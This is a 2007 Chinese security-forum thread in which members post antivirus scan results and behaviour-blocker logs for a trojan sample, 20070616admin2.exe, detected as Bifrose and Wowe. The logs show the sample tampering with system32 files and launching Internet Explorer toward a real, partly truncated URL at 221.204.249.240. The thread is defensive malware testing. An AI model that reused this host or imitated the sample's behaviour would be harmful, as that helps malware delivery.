【eeea7d】第七

jimmyleo

来源
http://bbs.kafan.cn/viewthread.php?tid=124680&extra=page%3D1

tiedan2

Ikarus:
31:08:2007 10:36:55 SEARCHTASK "USER_DEFINED" started...
scan item: C:\Documents and Settings\zhenjia\桌面\20070616admin2.rar
File scanned: C:\Documents and Settings\zhenjia\桌面\20070616admin2.rar:Zone.Identifier
File scanned: C:\Documents and Settings\zhenjia\桌面\20070616admin2.rar - SIGNATURE FOUND "Backdoor.Win32.Bifrose.adr"
31:08:2007 10:36:55 SEARCHTASK "USER_DEFINED" FINISHED...
----------------------------------------------------
Directories scanned: 0
Files scanned: 1
Virus found: 1
----------------------------------------------------

红心王子

江民杀毒 10.00.650 2007.08.30 2007-08-30 -
金山毒霸 2007.6.20.249 2007.9.1 2007-09-01 Win32.Troj.Wowe.a.43520

tracydk

红伞挂

2007-08-31 10:38:33    运行应用程序      操作:允许
进程路径:C:\WINDOWS\Explorer.EXE
文件路径:F:\病毒样本\20070616admin2\20070616admin2.exe
触发规则:所有程序规则->*


2007-08-31 10:38:37    删除文件      操作:阻止
进程路径:F:\病毒样本\20070616admin2\20070616admin2.exe
文件路径:C:\WINDOWS\system32\wowexec.exe
触发规则:所有程序规则->系统文件->%WinDir%\system32\*.exe


2007-08-31 10:38:37    运行应用程序      操作:允许(自动创建规则)
进程路径:F:\病毒样本\20070616admin2\20070616admin2.exe
文件路径:C:\Program Files\Internet Explorer\IEXPLORE.EXE
命令行:http://221.204.249.240//down2/do ... CE485EBE1BFC4E3CFE4


2007-08-31 10:38:44    修改文件      操作:阻止
进程路径:F:\病毒样本\20070616admin2\20070616admin2.exe
文件路径:C:\WINDOWS\system32\wowexec.exe
触发规则:所有程序规则->系统文件->%WinDir%\system32\*.exe


2007-08-31 10:38:44    运行应用程序      操作:允许(自动创建规则)
进程路径:F:\病毒样本\20070616admin2\20070616admin2.exe
文件路径:C:\WINDOWS\system32\ntvdm.exe
命令行:-f -i1 -w -a C:\WINDOWS\system32\krnl386.exe


2007-08-31 10:39:03    结束/挂起进程      操作:阻止
进程路径:F:\病毒样本\20070616admin2\20070616admin2.exe
目标进程:C:\Program Files\Internet Explorer\IEXPLORE.EXE
触发规则:所有程序规则->*

欠妳緈諨

saga3721

这次不错，过完了小红伞和微点——ZA防火墙报试图发送IE或利用其他程序获取特权资源

uhthn2002

C:\Documents and Settings\uhthn\Desktop\virus\20070616admin2.exe : is suspected of Malware.VB.60 (paranoid heuristics)


Directories       : 0       Files in archives:      Files on disks:
Archives:                   - total       : 0       - total       : 1     
- scanned         : 0       -  scanned    : 0       - scanned     : 1     
- contain viruses : 0       -  infected   : 0       - infected    : 0     
- deleted         : 0       -  suspicious : 0       - suspicious  : 1     


Uhthn Anti-Spyware V3 Alpha
Version - 3.0.0
Heuristics - OPEN
Scan in - C:\Documents and Settings\uhthn\Desktop\virus

C:\Documents and Settings\uhthn\Desktop\virus\20070616admin2.exe - Suspicious of Trojan-PSW.Game.16

1 Files scanned
0 Infected files found
1 Suspicious files found
0 Files cured
0 Files deleted

傻猪猪米走鸡

nod miss

1688388728

检测到一个应用程序尝试访问一个受保护的文件对象
文件路径: C:\WINDOWS\system32\wowexec.exe

检测到一个应用程序尝试创建一个进程
命令行: C:\Program Files\Internet Explorer\IEXPLORE.EXE http://221.204.249.240//down2/do ... CA581EBDCF2C1BEB59E

啊弥陀佛

原帖由 saga3721 于 2007-8-31 11:08 发表
这次不错，过完了小红伞和微点——ZA防火墙报试图发送IE或利用其他程序获取特权资源

微点砍掉